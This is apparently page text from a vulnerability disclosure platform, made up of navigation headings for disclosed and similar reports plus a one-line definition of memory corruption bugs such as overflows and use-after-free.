
The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.